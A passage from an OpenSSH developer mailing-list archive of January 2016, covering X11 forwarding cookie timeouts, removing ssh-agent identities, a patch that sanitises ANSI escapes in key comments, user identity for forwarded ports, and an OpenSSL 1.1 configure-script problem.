From yuri at rawbw.com  Fri Jan  1 22:16:44 2016
From: yuri at rawbw.com (Yuri)
Date: Fri, 1 Jan 2016 03:16:44 -0800
Subject: X-forwarding stops working after a while
Message-ID: <5686601C.6030401@rawbw.com>

I connect from host into the guest VM with X-forwarding (ssh -X), so 
that programs launched in the VM will run on the host display.

X-forwarding works first, but after a while it stops working. Connection 
(from inside of the VM) on the corresponding port (6010 or similar) is 
immediately closed by the foreign host. Ssh connection itself is okay 
though. Reconnecting ssh helps, but later the same thing repeats.

Why would this be happening?

FreeBSD-10.2, both host and guest VM.

Yuri

From doctor at doctor.nl2k.ab.ca  Sat Jan  2 00:22:36 2016
From: doctor at doctor.nl2k.ab.ca (The Doctor)
Date: Fri, 1 Jan 2016 06:22:36 -0700
Subject: OPenssl 1.1
Message-ID: <20160101132236.GA24104@doctor.nl2k.ab.ca>

Looks like openssl 1.1 is due in April sometime.

Are there any adjustments needed to the code for
openssl 1.1 compliancy?

-- 
Member - Liberal International This is doctor@@nl2k.ab.ca Ici doctor@@nl2k.ab.ca
God,Queen and country!Never Satan President Republic!Beware AntiChrist rising! 
http://www.fullyfollow.me/rootnl2k  Look at Psalms 14 and 53 on Atheism
Happy Christmas 2015 and Merry New Year 2016 

From matthewm at boedicker.org  Sat Jan  2 08:43:39 2016
From: matthewm at boedicker.org (Matthew Boedicker)
Date: Fri, 1 Jan 2016 13:43:39 -0800
Subject: removing keys from ssh-agent without having key file
Message-ID: <CANfC_4K4At5Z0fRmW=BuBT_CxdP0wgUOqe2wqn=nCSBeMH00XQ@mail.gmail.com>

ssh-agent does not allow you to remove individual keys without having the
key file that was added. To remove these keys the user must remove all keys
with ssh-add -D.

Would a patch to make ssh-add skip the existence check for the file be
considered?

The specific use case is that a USB drive is mounted with the key, the key
is added to the agent then the USB drive is unmounted.

From dustin at null-ptr.net  Sat Jan  2 10:27:47 2016
From: dustin at null-ptr.net (Dustin Lundquist)
Date: Fri, 1 Jan 2016 23:27:47 +0000
Subject: removing keys from ssh-agent without having key file
In-Reply-To: <CANfC_4K4At5Z0fRmW=BuBT_CxdP0wgUOqe2wqn=nCSBeMH00XQ@mail.gmail.com>
References: <CANfC_4K4At5Z0fRmW=BuBT_CxdP0wgUOqe2wqn=nCSBeMH00XQ@mail.gmail.com>
Message-ID: <CAM=UhHtKqfpJQP_OQoPiO80GALT5gACW429dLsVW3YNy1=eoEg@mail.gmail.com>

I've ran into a similar situation. Looking at PROTOCOL.agent for SSH
version 2, you can obtain the key blob with SSH2_AGENTC_REQUEST_IDENTITIES,
and remove that identity with SSH2_AGENTC_REMOVE_IDENTITY. This means with
within the SSH agent protocol the key files are not needed to remove the
key.

I have another user case for this functionality: I've written a SSH agent
proxy which permits authorized users access to a common set of identities,
and in some cases a user has access to too many identities to complete
authentication in the permitted number of authentication attempts. In this
case the proxy would not remove the shared identity, but temporarily block
it from that users view.


Dustin Lundquist

On Fri, Jan 1, 2016 at 9:43 PM, Matthew Boedicker <matthewm at boedicker.org>
wrote:

> ssh-agent does not allow you to remove individual keys without having the
> key file that was added. To remove these keys the user must remove all keys
> with ssh-add -D.
>
> Would a patch to make ssh-add skip the existence check for the file be
> considered?
>
> The specific use case is that a USB drive is mounted with the key, the key
> is added to the agent then the USB drive is unmounted.
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev
>

From rohieb at rohieb.name  Sun Jan  3 08:20:15 2016
From: rohieb at rohieb.name (Roland Hieber)
Date: Sat, 2 Jan 2016 22:20:15 +0100
Subject: ssh-keygen: sanitize ANSI escape sequences in key comment
In-Reply-To: <56883D56.30503@rohieb.name>
References: <56883D56.30503@rohieb.name>
Message-ID: <56883F0F.5020504@rohieb.name>

On 02.01.2016 22:12, Roland Hieber wrote:
> Since this is my first patch to OpenSSH, I'm very open for feedback :-)

...he wrote without attaching the patch...

Sorry.

 - Roland
-------------- next part --------------
A non-text attachment was scrubbed...
Name: sshkeygen-sanitize-ansi-escapes.patch
Type: text/x-patch
Size: 1091 bytes
Desc: not available
URL: <http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20160102/600d0c25/attachment-0002.bin>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: OpenPGP digital signature
URL: <http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20160102/600d0c25/attachment-0003.bin>

From rohieb at rohieb.name  Sun Jan  3 08:12:54 2016
From: rohieb at rohieb.name (Roland Hieber)
Date: Sat, 2 Jan 2016 22:12:54 +0100
Subject: ssh-keygen: sanitize ANSI escape sequences in key comment
Message-ID: <56883D56.30503@rohieb.name>

Hi,

Today I fiddled around a bit with my OpenSSH public key files, and I noticed
that ssh-keygen prints most non-printable characters in the comment as-is when
showing the fingerprint of a key. This can lead to confusing output on the
terminal when the comment contains ANSI escape characters which are interpreted
by the terminal. The attached public key file serves as an example, which, when
fingerprinted on my Linux terminal, looks like this:

$ ssh-keygen -E sha256 -lf test.pub
1024 MD5:de:ad:be:ef:00:7h:15:15:af:0r:6e:d0:ha:5h:00:00 nobody at example.org (RSA)

... in nice rainbow colors (see [0] for a screenshot). Also note that a SHA256
hash was requested whereas the output is an MD5 hash (which also contains
invalid characters, so it cannot really be an MD5 hash...), but you get the
point that, in general, this technique can be used to suppress the real
fingerprint of a key and let the user see a different one.

For this reason, I suggest applying the attached patch (based on commit 271df81
from the OpenSSH Portable GitHub repository), which replaces escape characters
(0x1b) in the key comment with a full stop prior to printing it to the terminal.
This should serve as a sufficient workaround for the obfuscating escape
behaviour of the underlying terminal emulator.

Since this is my first patch to OpenSSH, I'm very open for feedback :-)

Regards,

 - Roland

[0]: https://rohieb.name/stuff/Selection_609.png
-------------- next part --------------
A non-text attachment was scrubbed...
Name: test.pub
Type: application/vnd.ms-publisher
Size: 410 bytes
Desc: not available
URL: <http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20160102/b8bf66f5/attachment.bin>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: OpenPGP digital signature
URL: <http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20160102/b8bf66f5/attachment-0001.bin>

From nielsen.esben at gmail.com  Sun Jan  3 11:03:27 2016
From: nielsen.esben at gmail.com (Esben Nielsen)
Date: Sun, 3 Jan 2016 01:03:27 +0100
Subject: User id for the forwarder ports
Message-ID: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>

Hi,

Question:

Can a TCP server (running on the same host as the OpenSSH server) know
the user id/name of a user forwarding an TCP port ?

I.e. if someone on some client machine does
  ssh -L9999:localhost:9999 someuser at somehost
  nc localhost 9999
and a service accepts the connection on port localhost:9999 on
somehost, can it somehow safely read out the user name "someuser"?

Long explanation:

We consider using SSH port forwarding as a way to enforce
authentication and authorization in an old application (running on
Linux) exposing a quite a  few TCP connections.

On the client side the clients can use OpenSSH client or Putty to make
a Socks proxy. If their application framework already supports Socks
they do not have to change much to connect. Or something like libssh
can be used to include the ssh client side into the application.

On the server side the sshd_config can be used to set up allowed ports
per user or group. This is, however, not good enough, because the
application will not know the original user id, so it can niether log
actions, nor allow or block actions not allowed for that particular
user.

So my question is:
Is there any way to let the TCP application server know the user id of
the SSH forwarded TCP connection?
If no, would it be possible to set up the OpenSSH server to do
something special per destination port basis, such as connecting to a
UNIX socket instead of a TCP socket or sending the user ID as the
first thing on the connection ?
(We could use UNIX socket forwarding, but the the client side can't
use a Socks, and most other clients such as libssh does not support it
either...)

Regards,
Esben

From gsslist+ssh at anthropohedron.net  Sun Jan  3 12:13:09 2016
From: gsslist+ssh at anthropohedron.net (Gregory Seidman)
Date: Sat, 2 Jan 2016 20:13:09 -0500
Subject: User id for the forwarder ports
In-Reply-To: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
References: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
Message-ID: <20160103011306.GA25764@anthropohedron.net>

I think what you are looking for is ident
<https://en.wikipedia.org/wiki/Ident_protocol>, but while I could see using
it for auditing purposes I would be uncomfortable recommending it as an
authentication mechanism. You would need to be running some identd
(available in any Linux distro, usually gidentd), often through
inetd/xinetd.

--Greg

On Sun, Jan 03, 2016 at 01:03:27AM +0100, Esben Nielsen wrote:
> Hi,
> 
> Question:
> 
> Can a TCP server (running on the same host as the OpenSSH server) know
> the user id/name of a user forwarding an TCP port ?
> 
> I.e. if someone on some client machine does
>   ssh -L9999:localhost:9999 someuser at somehost
>   nc localhost 9999
> and a service accepts the connection on port localhost:9999 on
> somehost, can it somehow safely read out the user name "someuser"?
> 
> Long explanation:
> 
> We consider using SSH port forwarding as a way to enforce
> authentication and authorization in an old application (running on
> Linux) exposing a quite a  few TCP connections.
> 
> On the client side the clients can use OpenSSH client or Putty to make
> a Socks proxy. If their application framework already supports Socks
> they do not have to change much to connect. Or something like libssh
> can be used to include the ssh client side into the application.
> 
> On the server side the sshd_config can be used to set up allowed ports
> per user or group. This is, however, not good enough, because the
> application will not know the original user id, so it can niether log
> actions, nor allow or block actions not allowed for that particular
> user.
> 
> So my question is:
> Is there any way to let the TCP application server know the user id of
> the SSH forwarded TCP connection?
> If no, would it be possible to set up the OpenSSH server to do
> something special per destination port basis, such as connecting to a
> UNIX socket instead of a TCP socket or sending the user ID as the
> first thing on the connection ?
> (We could use UNIX socket forwarding, but the the client side can't
> use a Socks, and most other clients such as libssh does not support it
> either...)
> 
> Regards,
> Esben
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev
> 

From dtucker at zip.com.au  Sun Jan  3 13:03:13 2016
From: dtucker at zip.com.au (Darren Tucker)
Date: Sun, 3 Jan 2016 13:03:13 +1100
Subject: X-forwarding stops working after a while
In-Reply-To: <5686601C.6030401@rawbw.com>
References: <5686601C.6030401@rawbw.com>
Message-ID: <CALDDTe0QUcEWS3q03CL-fGj9GguUrE2gGK12LqB2Buhjp6XXxw@mail.gmail.com>

On Fri, Jan 1, 2016 at 10:16 PM, Yuri <yuri at rawbw.com> wrote:
> I connect from host into the guest VM with X-forwarding (ssh -X), so that
> programs launched in the VM will run on the host display.
>
> X-forwarding works first, but after a while it stops working. Connection
> (from inside of the VM) on the corresponding port (6010 or similar) is
> immediately closed by the foreign host. Ssh connection itself is okay
> though. Reconnecting ssh helps, but later the same thing repeats.

By default ssh will request an untrusted xauth cookie that expires
after 20 minutes.  You can change that with ForwardX11Timeout in
ssh_config(5) or request a trusted cookie that doesn't expire
(ForwardX11Trusted=yes or ssh -Y).

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.

From dtucker at zip.com.au  Sun Jan  3 13:18:43 2016
From: dtucker at zip.com.au (Darren Tucker)
Date: Sun, 3 Jan 2016 13:18:43 +1100
Subject: User id for the forwarder ports
In-Reply-To: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
References: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
Message-ID: <CALDDTe06MCY4M4nMyAcSRGPx4e=7-6d94Py+hEX5ceT4NwUdHQ@mail.gmail.com>

On Sun, Jan 3, 2016 at 11:03 AM, Esben Nielsen <nielsen.esben at gmail.com> wrote:
> Can a TCP server (running on the same host as the OpenSSH server) know
> the user id/name of a user forwarding an TCP port ?
>
> I.e. if someone on some client machine does
>   ssh -L9999:localhost:9999 someuser at somehost
>   nc localhost 9999
> and a service accepts the connection on port localhost:9999 on
> somehost, can it somehow safely read out the user name "someuser"?

If sshd is running with PrivilegeSeparation (which it does by default)
then the sshd for that connection will be running as "someuser".  On
Linux, your application can figure out what that user is by calling
getsockopt with SO_PEERCRED on the socket (there's example code in
https://anongit.mindrot.org/openssh.git/tree/openbsd-compat/bsd-getpeereid.c)

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.

From etienne.buira at gmail.com  Mon Jan  4 02:29:14 2016
From: etienne.buira at gmail.com (=?utf-8?Q?=C3=89tienne?= Buira)
Date: Sun, 3 Jan 2016 16:29:14 +0100
Subject: ssh-keygen: sanitize ANSI escape sequences in key comment
In-Reply-To: <56883F0F.5020504@rohieb.name>
References: <56883D56.30503@rohieb.name>
 <56883F0F.5020504@rohieb.name>
Message-ID: <20160103152851.GA8159@rcKGHUlyQfVFW>

On Sat, Jan 02, 2016 at 10:20:15PM +0100, Roland Hieber wrote:
> On 02.01.2016 22:12, Roland Hieber wrote:
> > Since this is my first patch to OpenSSH, I'm very open for feedback :-)
> 
> ...he wrote without attaching the patch...

Hi, and thank you for pointing that out.

> +	char * pc = NULL;

nitpick: char *pc (without space)?

> +
> +	while ((pc = strchr(comment, '\x1b'))) {
> +		*pc = '.';
> +	}
> +

Why not adding the escape char to reject list in sshkey_try_load_public
(authfile.c)?

Makes me think that it would be safer to use strspn with a conservative
accept set, or scan all chars for isalnum(c) || isblank(c) ||
ispunct(c).

Just my two cents.


From nielsen.esben at gmail.com  Mon Jan  4 17:15:26 2016
From: nielsen.esben at gmail.com (Esben Nielsen)
Date: Mon, 4 Jan 2016 07:15:26 +0100
Subject: User id for the forwarder ports
In-Reply-To: <CALDDTe06MCY4M4nMyAcSRGPx4e=7-6d94Py+hEX5ceT4NwUdHQ@mail.gmail.com>
References: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
 <CALDDTe06MCY4M4nMyAcSRGPx4e=7-6d94Py+hEX5ceT4NwUdHQ@mail.gmail.com>
Message-ID: <CA+gSDyRGzHE-N5tYehZAHGhiOQJgT=MUj5N=vwgbtn3NigabaQ@mail.gmail.com>

Den s?ndag den 3. januar 2016 skrev Darren Tucker <dtucker at zip.com.au>:

> On Sun, Jan 3, 2016 at 11:03 AM, Esben Nielsen <nielsen.esben at gmail.com
> <javascript:;>> wrote:
> > Can a TCP server (running on the same host as the OpenSSH server) know
> > the user id/name of a user forwarding an TCP port ?
> >
> > I.e. if someone on some client machine does
> >   ssh -L9999:localhost:9999 someuser at somehost
> >   nc localhost 9999
> > and a service accepts the connection on port localhost:9999 on
> > somehost, can it somehow safely read out the user name "someuser"?
>
> If sshd is running with PrivilegeSeparation (which it does by default)
> then the sshd for that connection will be running as "someuser".  On
> Linux, your application can figure out what that user is by calling
> getsockopt with SO_PEERCRED on the socket (there's example code in
>
> https://anongit.mindrot.org/openssh.git/tree/openbsd-compat/bsd-getpeereid.c
> )
>
> --
>
Darren Tucker (dtucker at zip.com.au)
> GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
>     Good judgement comes with experience. Unfortunately, the experience
> usually comes from bad judgement.
>


-- 
Sendt fra Gmail Mobil

From nielsen.esben at gmail.com  Mon Jan  4 17:26:22 2016
From: nielsen.esben at gmail.com (Esben Nielsen)
Date: Mon, 4 Jan 2016 07:26:22 +0100
Subject: User id for the forwarder ports
In-Reply-To: <CALDDTe06MCY4M4nMyAcSRGPx4e=7-6d94Py+hEX5ceT4NwUdHQ@mail.gmail.com>
References: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
 <CALDDTe06MCY4M4nMyAcSRGPx4e=7-6d94Py+hEX5ceT4NwUdHQ@mail.gmail.com>
Message-ID: <CA+gSDyRn4NnVHgV4tFCiioX+hijkaZX9=aj49zUpNSCV_gk7zw@mail.gmail.com>

Unfortunately, SO_PEERCRED only works of UNIX domain sockets. For local tcp
connections the UID is returened as -1.

A solution could be to make a mapping option in sshd_config  along with
OpenPermit, such forwarding to say localhost:4000 can be remapped to UNIX
socket /var/forwards/4000.

Esben

Den s?ndag den 3. januar 2016 skrev Darren Tucker <dtucker at zip.com.au>:

> On Sun, Jan 3, 2016 at 11:03 AM, Esben Nielsen <nielsen.esben at gmail.com
> <javascript:;>> wrote:
> > Can a TCP server (running on the same host as the OpenSSH server) know
> > the user id/name of a user forwarding an TCP port ?
> >
> > I.e. if someone on some client machine does
> >   ssh -L9999:localhost:9999 someuser at somehost
> >   nc localhost 9999
> > and a service accepts the connection on port localhost:9999 on
> > somehost, can it somehow safely read out the user name "someuser"?
>
> If sshd is running with PrivilegeSeparation (which it does by default)
> then the sshd for that connection will be running as "someuser".  On
> Linux, your application can figure out what that user is by calling
> getsockopt with SO_PEERCRED on the socket (there's example code in
>
> https://anongit.mindrot.org/openssh.git/tree/openbsd-compat/bsd-getpeereid.c
> )
>
> --
> Darren Tucker (dtucker at zip.com.au)
> GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
>     Good judgement comes with experience. Unfortunately, the experience
> usually comes from bad judgement.
>


-- 
Sendt fra Gmail Mobil

From djm at mindrot.org  Mon Jan  4 18:21:20 2016
From: djm at mindrot.org (Damien Miller)
Date: Mon, 4 Jan 2016 18:21:20 +1100 (AEDT)
Subject: X-forwarding stops working after a while
In-Reply-To: <5686601C.6030401@rawbw.com>
References: <5686601C.6030401@rawbw.com>
Message-ID: <alpine.BSO.2.20.1601041819580.28430@natsu.mindrot.org>

On Fri, 1 Jan 2016, Yuri wrote:

> I connect from host into the guest VM with X-forwarding (ssh -X), so that
> programs launched in the VM will run on the host display.
> 
> X-forwarding works first, but after a while it stops working. Connection (from
> inside of the VM) on the corresponding port (6010 or similar) is immediately
> closed by the foreign host. Ssh connection itself is okay though. Reconnecting
> ssh helps, but later the same thing repeats.
> 
> Why would this be happening?

It's probably this: (ssh_config(5))

> ForwardX11Trusted
>     If this option is set to ?yes?, remote X11 clients will have full
>     access to the original X11 display.
>
>     If this option is set to ?no?, remote X11 clients will be consid?
>     ered untrusted and prevented from stealing or tampering with data
>     belonging to trusted X11 clients.  Furthermore, the xauth(1)
>     token used for the session will be set to expire after 20 min?
>     utes.  Remote clients will be refused access after this time.
>
>     The default is ?no?.
>
>     See the X11 SECURITY extension specification for full details on
>     the restrictions imposed on untrusted clients.

You can use "ssh -Y" as a shortcut for ForwardX11Trusted=yes

From djm at mindrot.org  Mon Jan  4 18:25:15 2016
From: djm at mindrot.org (Damien Miller)
Date: Mon, 4 Jan 2016 18:25:15 +1100 (AEDT)
Subject: removing keys from ssh-agent without having key file
In-Reply-To: <CANfC_4K4At5Z0fRmW=BuBT_CxdP0wgUOqe2wqn=nCSBeMH00XQ@mail.gmail.com>
References: <CANfC_4K4At5Z0fRmW=BuBT_CxdP0wgUOqe2wqn=nCSBeMH00XQ@mail.gmail.com>
Message-ID: <alpine.BSO.2.20.1601041823020.28430@natsu.mindrot.org>

On Fri, 1 Jan 2016, Matthew Boedicker wrote:

> ssh-agent does not allow you to remove individual keys without having the
> key file that was added. To remove these keys the user must remove all keys
> with ssh-add -D.

No, you only need the public key and you can get that from the agent
itself if you don't happen to have it laying around.

[djm at fuyu tmp]$ ssh-keygen -q -t ed25519 -f k1 -N '' 
[djm at fuyu tmp]$ ssh-keygen -q -t ed25519 -f k2 -N '' 
[djm at fuyu tmp]$ ssh-add k1 k2
Identity added: k1 (djm at fuyu.mindrot.org)
Identity added: k2 (djm at fuyu.mindrot.org)
[djm at fuyu tmp]$ ssh-add -L
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKJmyuVthrSvC6RMly/gJyAd1oFo8NggUUAV0JKvW9V4 djm at fuyu.mindrot.org
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFk1eV8abvdBGAJINxDZ2fK9btsLUlHmPL9DPBDhh/MP djm at fuyu.mindrot.org
[djm at fuyu tmp]$ rm k1* k2*
[djm at fuyu tmp]$ ssh-add -L | head -1 > k1.pub
[djm at fuyu tmp]$ ssh-add -d k1 
Identity removed: k1 (djm at fuyu.mindrot.org)
[djm at fuyu tmp]$ ssh-add -L
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFk1eV8abvdBGAJINxDZ2fK9btsLUlHmPL9DPBDhh/MP djm at fuyu.mindrot.org

-d

From djm at mindrot.org  Mon Jan  4 18:29:10 2016
From: djm at mindrot.org (Damien Miller)
Date: Mon, 4 Jan 2016 18:29:10 +1100 (AEDT)
Subject: ssh-keygen: sanitize ANSI escape sequences in key comment
In-Reply-To: <56883F0F.5020504@rohieb.name>
References: <56883D56.30503@rohieb.name> <56883F0F.5020504@rohieb.name>
Message-ID: <alpine.BSO.2.20.1601041826360.28430@natsu.mindrot.org>

On Sat, 2 Jan 2016, Roland Hieber wrote:

> On 02.01.2016 22:12, Roland Hieber wrote:
> > Since this is my first patch to OpenSSH, I'm very open for feedback :-)
> 
> ...he wrote without attaching the patch...
> 
> Sorry.

No problem :) Could I ask you to file a bug at https://bugzilla.mindrot.org/ ?

I think we should use strnvis* with VIS_SAFE|VIS_OCTAL flags instead of
explicit white/blacklists of characters.

-d


* http://www.openbsd.org/cgi-bin/man.cgi/OpenBSD-current/man3/stravis.3?query=strnvis&sec=3

From djm at mindrot.org  Mon Jan  4 18:36:43 2016
From: djm at mindrot.org (Damien Miller)
Date: Mon, 4 Jan 2016 18:36:43 +1100 (AEDT)
Subject: User id for the forwarder ports
In-Reply-To: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
References: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
Message-ID: <alpine.BSO.2.20.1601041829420.28430@natsu.mindrot.org>

On Sun, 3 Jan 2016, Esben Nielsen wrote:

> Hi,
> 
> Question:
> 
> Can a TCP server (running on the same host as the OpenSSH server) know
> the user id/name of a user forwarding an TCP port ?

No; there are a number of impediments to implementing it.

The SSH protocol doesn't support sending this information. It could
conceivably be added as an extension though. We'd need to be careful
in designing this - many users would be surprised if ssh started "leaking"
user identifiers across forwarding channels.

If the lack of protocol support was solved, another problem would be
how the information is relayed to the next application. I'm not aware of
a kernel mechanism to allow an application to fake a user identity
across a local socket.

Next problem: if one existed, it would almost certainly require root
privileges and sshd takes great care to get rid off root privileges
wherever possible. They certainly aren't used for port forwarding.

TLDR: doing this is hard (I haven't even gone into user/uid mapping
problems) and not likely to happen soon, sorry.

-d



From matthewm at boedicker.org  Mon Jan  4 18:59:52 2016
From: matthewm at boedicker.org (Matthew Boedicker)
Date: Sun, 3 Jan 2016 23:59:52 -0800
Subject: removing keys from ssh-agent without having key file
In-Reply-To: <alpine.BSO.2.20.1601041823020.28430@natsu.mindrot.org>
References: <CANfC_4K4At5Z0fRmW=BuBT_CxdP0wgUOqe2wqn=nCSBeMH00XQ@mail.gmail.com>
 <alpine.BSO.2.20.1601041823020.28430@natsu.mindrot.org>
Message-ID: <CANfC_4JBvp=u1yq1sGPQ1=9oyWAR7DUepfrmWNNyxK+_oY94bg@mail.gmail.com>

Thanks Damien. It's good to know that this is possible and how to do it.

It might be nice if ssh-add did this for you during ssh-add -d. Is there
any reason it couldn't always get the key blob from the agent and send it
back for removal instead of using the filesystem?

On Sun, Jan 3, 2016 at 11:25 PM, Damien Miller <djm at mindrot.org> wrote:

> On Fri, 1 Jan 2016, Matthew Boedicker wrote:
>
> > ssh-agent does not allow you to remove individual keys without having the
> > key file that was added. To remove these keys the user must remove all
> keys
> > with ssh-add -D.
>
> No, you only need the public key and you can get that from the agent
> itself if you don't happen to have it laying around.
>
> [djm at fuyu tmp]$ ssh-keygen -q -t ed25519 -f k1 -N ''
> [djm at fuyu tmp]$ ssh-keygen -q -t ed25519 -f k2 -N ''
> [djm at fuyu tmp]$ ssh-add k1 k2
> Identity added: k1 (djm at fuyu.mindrot.org)
> Identity added: k2 (djm at fuyu.mindrot.org)
> [djm at fuyu tmp]$ ssh-add -L
> ssh-ed25519
> AAAAC3NzaC1lZDI1NTE5AAAAIKJmyuVthrSvC6RMly/gJyAd1oFo8NggUUAV0JKvW9V4
> djm at fuyu.mindrot.org
> ssh-ed25519
> AAAAC3NzaC1lZDI1NTE5AAAAIFk1eV8abvdBGAJINxDZ2fK9btsLUlHmPL9DPBDhh/MP
> djm at fuyu.mindrot.org
> [djm at fuyu tmp]$ rm k1* k2*
> [djm at fuyu tmp]$ ssh-add -L | head -1 > k1.pub
> [djm at fuyu tmp]$ ssh-add -d k1
> Identity removed: k1 (djm at fuyu.mindrot.org)
> [djm at fuyu tmp]$ ssh-add -L
> ssh-ed25519
> AAAAC3NzaC1lZDI1NTE5AAAAIFk1eV8abvdBGAJINxDZ2fK9btsLUlHmPL9DPBDhh/MP
> djm at fuyu.mindrot.org
>
> -d
>

From nielsen.esben at gmail.com  Mon Jan  4 19:50:33 2016
From: nielsen.esben at gmail.com (Esben Nielsen)
Date: Mon, 4 Jan 2016 09:50:33 +0100
Subject: User id for the forwarder ports
In-Reply-To: <alpine.BSO.2.20.1601041829420.28430@natsu.mindrot.org>
References: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
 <alpine.BSO.2.20.1601041829420.28430@natsu.mindrot.org>
Message-ID: <CA+gSDyRoiig+r7xVSwKCWG=8YiiTPJ9ijKeqfiQfray8yPCG2Q@mail.gmail.com>

I propose making options in sshd_config to set up a mapping for each port:
if the user tries to forward localhost:4000 you can specify in sshd_config
that it is a UNIX socket connect to say /var/sshforward/4000.sock.

Now the service can listen on /var/sshforward/4000.sock and use SO_PEERCRED
(which is not working on local top sockets on my system at least).

Esben

Den mandag den 4. januar 2016 skrev Damien Miller <djm at mindrot.org>:

> On Sun, 3 Jan 2016, Esben Nielsen wrote:
>
> > Hi,
> >
> > Question:
> >
> > Can a TCP server (running on the same host as the OpenSSH server) know
> > the user id/name of a user forwarding an TCP port ?
>
> No; there are a number of impediments to implementing it.
>
> The SSH protocol doesn't support sending this information. It could
> conceivably be added as an extension though. We'd need to be careful
> in designing this - many users would be surprised if ssh started "leaking"
> user identifiers across forwarding channels.
>
> If the lack of protocol support was solved, another problem would be
> how the information is relayed to the next application. I'm not aware of
> a kernel mechanism to allow an application to fake a user identity
> across a local socket.
>
> Next problem: if one existed, it would almost certainly require root
> privileges and sshd takes great care to get rid off root privileges
> wherever possible. They certainly aren't used for port forwarding.
>
> TLDR: doing this is hard (I haven't even gone into user/uid mapping
> problems) and not likely to happen soon, sorry.
>
> -d
>
>
>

-- 
Sendt fra Gmail Mobil

From peter at stuge.se  Tue Jan  5 02:06:25 2016
From: peter at stuge.se (Peter Stuge)
Date: Mon, 4 Jan 2016 16:06:25 +0100
Subject: User id for the forwarder ports
In-Reply-To: <alpine.BSO.2.20.1601041829420.28430@natsu.mindrot.org>
References: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
 <alpine.BSO.2.20.1601041829420.28430@natsu.mindrot.org>
Message-ID: <20160104150625.24518.qmail@stuge.se>

Damien Miller wrote:
> > Can a TCP server (running on the same host as the OpenSSH server) know
> > the user id/name of a user forwarding an TCP port ?
> 
> No; there are a number of impediments to implementing it.
> 
> The SSH protocol doesn't support sending this information.

The original question was about the server-side username. I guess the
solution is platform-specific.


//Peter

From doctor at doctor.nl2k.ab.ca  Tue Jan  5 03:08:31 2016
From: doctor at doctor.nl2k.ab.ca (The Doctor)
Date: Mon, 4 Jan 2016 09:08:31 -0700
Subject: OPenssl and dependencies such as openssh
Message-ID: <20160104160831.GA4457@doctor.nl2k.ab.ca>

This might be a croosmail, but necessary.

I did us openssl-SNAP-20160104 minorss erros and installed.

I tried openssh-SNAP-20160105 and the OpenSSL libraries cannot be found


In the openssh configuration file I see


        # Determine OpenSSL library version
        { $as_echo "$as_me:${as_lineno-$LINENO}: checking OpenSSL library versi
on" >&5
$as_echo_n "checking OpenSSL library version... " >&6; }
        if test "$cross_compiling" = yes; then :

                        { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cross
 compiling: not checking" >&5
$as_echo "$as_me: WARNING: cross compiling: not checking" >&2;}


else
  cat confdefs.h - <<_ACEOF >conftest.$ac_ext
/* end confdefs.h.  */

        #include <stdio.h>
        #include <string.h>
        #include <openssl/opensslv.h>
        #include <openssl/crypto.h>
        #define DATA "conftest.ssllibver"

int
main ()
{

                FILE *fd;
                int rc;

                fd = fopen(DATA,"w");
                if(fd == NULL)
                        exit(1);

                if ((rc = fprintf(fd ,"%08x (%s)\n", SSLeay(),
                    SSLeay_version(SSLEAY_VERSION))) <0)
                        exit(1);

                exit(0);

  ;
  return 0;
}
_ACEOF
if ac_fn_c_try_run "$LINENO"; then :

                        ssl_library_ver=`cat conftest.ssllibver`
                        # Check version is supported.
                        case "$ssl_library_ver" in
                                0090[0-7]*|009080[0-5]*)
                                        as_fn_error $? "OpenSSL >= 0.9.8f requi
red (have \"$ssl_library_ver\")" "$LINENO" 5
                                        ;;
                                *) ;;
                        esac
                        { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ssl_l
ibrary_ver" >&5
$as_echo "$ssl_library_ver" >&6; }

else

                        { $as_echo "$as_me:${as_lineno-$LINENO}: result: not fo
und" >&5
$as_echo "not found" >&6; }
